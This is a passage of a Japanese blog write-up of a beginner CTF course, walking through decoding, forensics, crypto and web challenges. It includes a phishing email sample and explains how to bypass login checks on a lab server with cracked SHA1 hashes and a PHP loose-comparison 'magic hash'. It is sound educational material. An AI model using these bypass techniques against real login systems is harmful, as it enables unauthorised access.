2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

JNSAセキュリティチャレンジスクール 2025春期講座WriteUp

Last updated at Posted at 2025-03-25

はじめに

JNSAセキュリティチャレンジスクール 2025春期講座「CTF超入門講座」に参加し、CTFをしたのでそのwriteupを書きました
はじめてwriteupを書くので、いろいろ不備があると思いますが、ご容赦ください。
講座内で解き方が説明された問題は省いています。
2日間にわたるCTFでしたが、はじめて1位になれたので結構嬉しいです。
image.png

Misc

flag?{マルウェア名を特定せよ} - 100pt

image.png

宛先で検索すると、NotPetyaというランサムウェアがヒットする。

flag{Notpetya}だと思ったけど通らない。

flag{Petya}だと通った。

調べてみると、Petyaはビットコインでの支払いを要求するみたい。NotPetyaPetyaを強化したものっぽい。
NotPetyaはビットコインの支払いではなく軍事的な目的もあったみたい。

このサイトに詳しくPetyaNotPetyaの違いが書かれていた。

flag{Petya}

文字列の変換もマジックで自由自在 - 10pt

image.png

普通に16進数をASCIIすればいい。
Dencodeを使って解読。

image-1.png

それかbashで変換。

$ echo "73 74 6f 70 74 68 69 6e 6b 63 6f 6e 6e 65 63 74" | xxd -r -p
stopthinkconnect

xxd-rで16進数をバイナリにして、-pでプレーンテキストにする

flag{stopthinkconnect}

Forensic

フィッシングメールの解析 - 100pt

image.png

とりあえずダウンロードしてfileしてみる。

$ file phishing_email.eml
phishing_email.eml: ASCII text, with very long lines (2472)

catして、中身を確認してみる。

$ cat phishing_email.eml
To: noriaki <noriaki@ctf.k-sec.local>
Subject: =?utf-8?B?RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44Gb?=
Date: Wed, 18 Oct 2023 06:37:40 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_001_ed4281522dfe605e_=----"

This is a multi-part message in MIME format.

------=_001_ed4281522dfe605e_=----
Content-Type: text/plain;
        charset="utf-8"
Content-Transfer-Encoding: base64

RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=

------=_001_ed4281522dfe605e_=----
Content-Type: text/html;
        charset="utf-8"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=

------=_001_ed4281522dfe605e_=------

ファイルを見に行くと、base64エンコードされている。

echo 'RVRD5Yip55So54Wn5Lya44K144O844OT44K544Gu44GK55+l44KJ44GbDQoNCuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgg0KDQrjgZPjga7jg6Hjg7zjg6vjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrko55m76Yyy5Z6LKeOBq+OBlOeZu+mMsuOBleOCjOOBpuOBhOOBpuOAgTQyMOaXpemWk+ODreOCsOOCpOODs+OBruOBquOBhOaWueOBq+OBiumAgeOCiuOBl+OBpuOBhOOBvuOBmeOAgg0KDQrjgYrlrqLmp5jjga7jg6bjg7zjgrbjg7xJROOBr+OAgeino+e0hOS6iOWumuaXpeOBvuOBp+OBq+ODreOCsOOCpOODs+OBhOOBn+OBoOOBkeOBquOBhOOBqOeZu+mMsuOBjOino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0K4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgg0KDQrjg6bjg7zjgrbjg7xJRCBub3JpYWtpQGN0Zi5rLXNlYy5sb2NhbCANCuino+e0hOS6iOWumuaXpSAyMDI05bm0OeaciDEx5pelKOawtCnjgb7jgafjga4gIA0KDQrop6PntITkuojlrprml6Xjgb7jgafjgavkuIvoqJjjgYvjgonjg63jgrDjgqTjg7PjgZfjgabjgYTjgZ/jgaDjgZHjgozjgbDjgIHjgZTnmbvpjLLjga/ntpnntprjgZXjgozjgb7jgZnjgIINCuKAu+eZu+mMsuOBjOe2mee2muOBleOCjOOBn+mam+OBruOBiuefpeOCieOBm+OBr+OBlOOBluOBhOOBvuOBm+OCk+OAgg0K4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCDQoNCkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Ot44Kw44Kk44Oz4oC744GT44GuVVJM44Gu5pyJ5Yq55pyf6ZaT44Gv5omL57aa44GN5Y+X5LuY5pmC44KI44KKNDjmmYLplpPjgafjgZnjgIINCg0KaHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwMCZuZXh0ZnVuYz1YWFhYMDAwMDAwDQoNCuWGjeW6pueZu+mMsuOCkuW4jOacm+OBleOCjOOCi+WgtOWQiOOCguOAgeOBiuawl+i7veOBq+OBlOWIqeeUqOOBj+OBoOOBleOBhOOAgg0KDQrilqDms6jmhI/kuovpoIUNCuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgg0K44GU5LiN5piO54K544GM44GC44KL5aC05ZCI44Gv44CBRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGA44Gr55u05o6l44GK5ZWP44GE5ZCI44KP44Gb44GP44Gg44GV44GE44CCDQrilqBFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYANCuW5tOS4reeEoeS8kSA5OjAwfjE4OjAwDQrjg4rjg5Tjg4DjgqTjg6Tjg6sgMDU3MC0wMDEwNjk=
' | base64 -d

ETC利用照会サービスのお知らせ

平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。

このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。

お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。
※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。

ユーザーID noriaki@ctf.k-sec.local 
解約予定日 2024年9月11日()までの  

解約予定日までに下記からログインしていただければ、ご登録は継続されます。
※登録が継続された際のお知らせはございません。
※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。

ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。

https://www2.etc-meisai.jp/etc/R?funccode=XXXX000000&nextfunc=XXXX000000

再度登録を希望される場合も、お気軽にご利用ください。

■注意事項
このメールは送信専用です。返信は受け付けておりません。
ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。
■ETC利用照会サービス事務局
年中無休 9:00~18:00
ナピダイヤル 0570-001069

flagはドメインらしいので、www2.etc-meisai.jpぽいが違った。

htmlの方もデコードしてみる。

echo 'PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOBruOBiuefpeOCieOBmzwvcD4NCjxwPuW5s+e0oOOCiOOCikVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCueOCkuOBlOWIqeeUqOOBhOOBn+OBoOOBjeOAgeiqoOOBq+OBguOCiuOBjOOBqOOBhuOBlOOBluOBhOOBvuOBmeOAgjwvcD4NCjxwPuOBk+OBruODoeODvOODq+OBr+OAgUVUQ+WIqeeUqOeFp+S8muOCteODvOODk+OCuSjnmbvpjLLlnosp44Gr44GU55m76Yyy44GV44KM44Gm44GE44Gm44CBNDIw5pel6ZaT44Ot44Kw44Kk44Oz44Gu44Gq44GE5pa544Gr44GK6YCB44KK44GX44Gm44GE44G+44GZ44CCPC9wPg0KPHA+44GK5a6i5qeY44Gu44Om44O844K244O8SUTjga/jgIHop6PntITkuojlrprml6Xjgb7jgafjgavjg63jgrDjgqTjg7PjgYTjgZ/jgaDjgZHjgarjgYTjgajnmbvpjLLjgYzop6PntITjgajjgarjgorjgb7jgZnjgII8YnI+4oC7RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjga80NTDml6XplpPjg63jgrDjgqTjg7PjgYzjgarjgYTloLTlkIjjgIHjg6bjg7zjgrbjg7xJROOBrueZu+mMsuOBjOiHquWLleeahOOBq+ino+e0hOOBqOOBquOCiuOBvuOBmeOAgjwvcD4NCjxwPuODpuODvOOCtuODvElEIG5vcmlha2lAY3RmLmstc2VjLmxvY2FsIDxicj7op6PntITkuojlrprml6UgMjAyNOW5tDnmnIgxMeaXpSjmsLQp44G+44Gn44GuJm5ic3A7IDwvcD4NCjxwPuino+e0hOS6iOWumuaXpeOBvuOBp+OBq+S4i+iomOOBi+OCieODreOCsOOCpOODs+OBl+OBpuOBhOOBn+OBoOOBkeOCjOOBsOOAgeOBlOeZu+mMsuOBr+e2mee2muOBleOCjOOBvuOBmeOAgjxicj7igLvnmbvpjLLjgYzntpnntprjgZXjgozjgZ/pmpvjga7jgYrnn6XjgonjgZvjga/jgZTjgZbjgYTjgb7jgZvjgpPjgII8YnI+4oC744OR44K544Ov44O844OJ44GM44KP44GL44KJ44Gq44GE5aC05ZCI44KC44CB44Ot44Kw44Kk44Oz44Oa44O844K444GL44KJ5paw44OR44K544Ov44O844OJ44Gu55m66KGM44KS6KGM44GI44G+44GZ44CCPC9wPg0KPHA+RVRD5Yip55So54Wn5Lya44K144O844OT44K5KOeZu+mMsuWeiynjg63jgrDjgqTjg7PigLvjgZPjga5VUkzjga7mnInlirnmnJ/plpPjga/miYvntprjgY3lj5fku5jmmYLjgojjgoo0OOaZgumWk+OBp+OBmeOAgjwvcD4NCjxwPjxhIGhyZWY9Imh0dHBzOi8vZmxhZ3tkZWZhbmd9L2V0Yy9SP2Z1bmNjb2RlPVhYWFgwMDAwMDAmbmV4dGZ1bmM9WFhYWDAwMDAwMCI+aHR0cHM6Ly93d3cyLmV0Yy1tZWlzYWkuanAvZXRjL1I/ZnVuY2NvZGU9WFhYWDAwMDAwJm5leHRmdW5jPVhYWFgwMDAwMDA8L2E+PC9wPg0KPHA+5YaN5bqm55m76Yyy44KS5biM5pyb44GV44KM44KL5aC05ZCI44KC44CB44GK5rCX6Lu944Gr44GU5Yip55So44GP44Gg44GV44GE44CCPC9wPg0KPHA+4pag5rOo5oSP5LqL6aCFPGJyPuOBk+OBruODoeODvOODq+OBr+mAgeS/oeWwgueUqOOBp+OBmeOAgui/lOS/oeOBr+WPl+OBkeS7mOOBkeOBpuOBiuOCiuOBvuOBm+OCk+OAgjxicj7jgZTkuI3mmI7ngrnjgYzjgYLjgovloLTlkIjjga/jgIFFVEPliKnnlKjnhafkvJrjgrXjg7zjg5Pjgrnkuovli5nlsYDjgavnm7TmjqXjgYrllY/jgYTlkIjjgo/jgZvjgY/jgaDjgZXjgYTjgII8YnI+4pagRVRD5Yip55So54Wn5Lya44K144O844OT44K55LqL5YuZ5bGAPGJyPuW5tOS4reeEoeS8kSANCjk6MDB+MTg6MDA8YnI+44OK44OU44OA44Kk44Ok44OrIDA1NzAtMDAxMDY5PGJyPjwvcD4NCjwvYm9keT4NCjwvaHRtbD4=
' | base64 -d

<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv=Content-Type>
</head>
<body>
<p>ETC利用照会サービスのお知らせ</p>
<p>平素よりETC利用照会サービスをご利用いただき、誠にありがとうございます。</p>
<p>このメールは、ETC利用照会サービス(登録型)にご登録されていて、420日間ログインのない方にお送りしています。</p>
<p>お客様のユーザーIDは、解約予定日までにログインいただけないと登録が解約となります。<br>※ETC利用照会サービス(登録型)は450日間ログインがない場合、ユーザーIDの登録が自動的に解約となります。</p>
<p>ユーザーID noriaki@ctf.k-sec.local <br>解約予定日 2024年9月11日()までの&nbsp; </p>
<p>解約予定日までに下記からログインしていただければ、ご登録は継続されます。<br>※登録が継続された際のお知らせはございません。<br>※パスワードがわからない場合も、ログインページから新パスワードの発行を行えます。</p>
<p>ETC利用照会サービス(登録型)ログイン※このURLの有効期間は手続き受付時より48時間です。</p>
<p><a href="https://flag{defang}/etc/R?funccode=XXXX000000&nextfunc=XXXX000000">https://www2.etc-meisai.jp/etc/R?funccode=XXXX00000&nextfunc=XXXX000000</a></p>
<p>再度登録を希望される場合も、お気軽にご利用ください。</p>
<p>■注意事項<br>このメールは送信専用です。返信は受け付けておりません。<br>ご不明点がある場合は、ETC利用照会サービス事務局に直接お問い合わせください。<br>■ETC利用照会サービス事務局<br>年中無休 
9:00~18:00<br>ナピダイヤル 0570-001069<br></p>
</body>
</html>

aタグにflagがあった!

flag{defang}

文書のプロパティ情報 - 100pt

image.png

pdfのメタデータを確認してみる。

$ pdfinfo press_release.pdf
Title:           flag{metadata}
Subject:         flag{metadata}
Keywords:        flag{metadata}
Author:          flag{metadata}
Creator:         Microsoft® Word 2019
Producer:        Microsoft® Word 2019
CreationDate:    Wed Sep 11 04:18:50 2024 JST
ModDate:         Wed Sep 11 04:18:50 2024 JST
Custom Metadata: no
Metadata Stream: yes
Tagged:          yes
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       594.96 x 842.04 pts (A4)
Page rot:        0
File size:       73967 bytes
Optimized:       no
PDF version:     1.7

flag{metadata}

画像ファイルのスキャン - 100pt

image.png

とりあえず画像を開いてみる。

flag.png

QRコードなので、スキャンしてみる。
スキャンするとflagゲット。

flag{masahiro_hara}

迷惑メールのヘッダー解析 - 100pt

image.png

フラグの形式に.jpが含まれているので、grepしてみる。

$ grep  jp meiwaku_header.txt
        b=wi2bkB+jzdtjRIDQClOpJyn/t6MQNSZBLNoKMCLU0JWquWqijp4Yfc+jgITTQ9Z7zh
       dkim=neutral (body hash did not verify) header.i=@anti.spam.jp header.s=anti.spam.jp header.b=X2jwLATY;
       spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 175.177.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Return-Path: <admin@anti.spam.jp>
Received-SPF: softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) client-ip=172.16.155.113;
       dkim=neutral (body hash did not verify) header.i=@btmdy.com.cn header.s=anti.spam.jp header.b=X2jwLATY;
       spf=softfail (google.com: domain of transitioning admin@anti.spam.jp does not designate 172.16.155.113 as permitted sender) smtp.mailfrom=admin@anti.spam.jp;
Received: from mail.anti.spam.jp ([172.16.155.43])
Received-SPF: PASS identity=mailfrom; envelope-from="admin@anti.spam.jp"
        dkim=fail (key DNS reply corrupt) header.d=anti.spam.jp
 header.i=admin@anti.spam.jp header.b=X2jwLATY;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=anti.spam.jp; d=anti.spam.jp;
 h=Sender:From:To:Subject:Date:Message-ID:MIME-Version:Content-Type; i=admin@anti.spam.jp;
DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=anti.spam.jp; d=anti.spam.jp;
Sender: admin@anti.spam.jp
Message-ID: <00fa6daf4946$bd011495$e726a8f4$@etc-meisai.jp>

anti.spam.jpしかないっぽいのでこれがフラグっぽい。

flag{anti.spam.jp}

Crypto

ハッシュ化されたデータから平文を取得する - 100pt

image.png

とりあえずcrackstationを使ってみる。

image-1.png

flagゲット。

flag{kousen}

初めての暗号解読 - 100pt

スクリーンショット 2025-03-25 130121.png

rot13で解読する。

$ echo "synt{gronucyn}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
flag{tebahpla}

trコマンドは文字列の置換を行うコマンドで'A-Za-z'は変換前の範囲、'N-ZA-Mn-za-m'が置換先の範囲。
zの次はaにしないといけないので、上のような範囲指定になる。

flag{tebahpla}

【Crypto 1】emperor - 100pt

image.png

普通にシーザー暗号なので、解くだけ。
Key=23の時にflagゲット。

flag{caesar_encryption_is_famous}

【Crypto 2】magic square - 100pt

image.png

問題文からヴィジュネル暗号だと分かる。
鍵は3文字なので、opに同じ鍵が使われていることが分かる。
また、フラグ形式がflag{...}であることから鍵を簡単に割り出せる。
鍵はjri
あとはcyberChefで解く。
image.png

flag{how_about_a_classic_cipher?}

【Crypto 3】mystery - 100pt

image.png

エニグマの問題。
エニグマの処理の仕方は詳しく知らないけど、問題文のヒントでなんとなくわかりそう...
とりあえずcyberChefで解く。
image.png
文字の区切りおかしいけど、解けた!!!

FLAG{ALL PEOPLE TRUST THAT ENIGMA IS NOT SOLVABLE}

【Crypto 4】transform - 100pt

image.png
97がaに対応していることから、ASCIIコードだと分かる。
一応16進数に直す
66, 6C, 61, 67, 7B, 43, 68, 61, 72, 61, 63, 74, 65, 72, 73, 5F, 63, 61, 6E, 5F, 62, 65, 5F, 74, 72, 61, 6E, 73, 66, 6F, 72, 6D, 65, 64, 5F, 69, 6E, 74, 6F, 5F, 6E, 75, 6D, 62, 65, 72, 73, 7D

変換するとflagゲット。

flag{Characters_can_be_transformed_into_numbers}

【Crypto 5】modern - 100pt

image.png

RSA暗号の問題。
Nが小さいので、普通に計算できそう。
pythonが使いやすいので、コードを書く。

import sympy

# 与えられたRSAの公開鍵と暗号文
n = 9379
e = 3
C = 8899

# n を素因数分解して p, q を求める
factors = sympy.factorint(n)
p, q = factors.keys()

# オイラーのトーシェント関数 φ(n) の計算
phi_n = (p - 1) * (q - 1)

# e の逆元 d を求める (e * d ≡ 1 mod φ(n))
d = pow(e, -1, phi_n)

# RSAの復号計算 M = C^d mod n
M = pow(C, d, n)
print(M) # 323

flag{323}

Crypto-Extra

Secure Auth - 100pt

image.png
アクセスすると、ログイン画面が表示される。
image.png
適当にSQLインジェクションを試すがヒットしない。
ページのコードを読んでみる。
コメント発見!!!

<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("sha1", $_GET['username']) != "35675e68f4b5af7b995d9205ad0fc43842f16450") {
            echo "Invalid username";
        }
        else if (hash("sha1", $_GET['password']) == "30274c47903bd1bac7633bbf09743149ebab805f") {
            echo flag{XXXXXXXXX};
        }
        else {
            echo "Try harder";
        }
    }
    else {
	echo "Invalid parameters";
    }
--->

crackstationでハッシュ値を解析する。

Hash Type Result
35675e68f4b5af7b995d9205ad0fc43842f16450 sha1 guest
30274c47903bd1bac7633bbf09743149ebab805f sha1 passwd

ログインすると、flagゲット!!!。

flag{sha1_is_already_collapsed!!}

More Secure Auth - 100pt

image.png
アクセスすると、ログイン画面で表示される。
image.png
コメントになにかヒントがあるかもしれないので、コード探索。
コメント発見!!!

<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("sha1", $_GET['username']) != "d033e22ae348aeb5660fc2140aec35850c4da997") {
            echo "Invalid username";
        }
	else if(hash("sha1", $_GET['password']) == "0e91298726054891218946392579236129043019") {
            echo flag{XXXXXXX};
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
--->

同様にcrackstationで解析するも、パスワードはヒットせず...

Hash Type Result
d033e22ae348aeb5660fc2140aec35850c4da997 sha1 admin
0e91298726054891218946392579236129043019 Unknown Not found

ヒントを見る。

ハッシュ値の先頭2文字に注目してみましょう

ハッシュ値の先頭2文字0eで調べると、マジックハッシュという手法を発見。
以下chatgpt様の説明。

SHA1ハッシュの先頭が 0e で始まる場合、PHPの緩い比較(==)の脆弱性を利用した「マジックハッシュ」である可能性があります。PHPでは、文字列が数値として評価される際、先頭が数値の場合に数値として解釈されます。0e で始まる文字列は 0 x 10^n と解釈され、n がどんな数であっても結果は 0 になります。

つまり、もし二つの異なる文字列のSHA1ハッシュ値がどちらも 0e で始まり、その後に続く文字列がすべて数値である場合、PHPはこれらを 0 として比較し、true を返してしまうことがあります。

既知のマジックハッシュを探していると、githubを発見。

githubにあった既知のマジックハッシュでログインを試みると、成功しflagゲット。

flag{magic_hash_is_strange_and_miracle_hash}

Network

ゴルゴ13 - 100pt

image.png

とりあえずflaggrepしてみる。

$ strings HTTP_Connection.pcapng | grep flag
    <img src="flag.png">
-GET /flag.png HTTP/1.1

flag.pngがとても怪しい...

wiresharkでエクスポートする。
FileExport ObjectsHTTP を選択する。

image-1.png

保存して表示してみる。

image-2.png

flagがそのままでた!

flag{reward_swiss_bank}

怪しい機器を特定する切り札は物理層 - 100pt

image.png

MACアドレスでベンダーを検索すればよさそう。

maclookupというコマンドがあるらしいが、kali-linuxで使えなかったので他のやり方を探す。

調べていくと、https://api.macvendors.com/がヒット!

サンプルのphpコードに従って使ってみる。

$ curl -s https://api.macvendors.com/98-B6-E9-NT-64-32
Nintendo Co.,Ltd

天下の任天堂様だった。

flag{Nintendo}

Web

Apache Webサーバーが出力するログ解析 - 100pt

image.png

txtファイルなのでとりあえずgrepしてみる。

$ grep cwe web_attack.log

何もヒットしなかった...

とりあえず1行する読んでみる。

$ cat web_attack.log
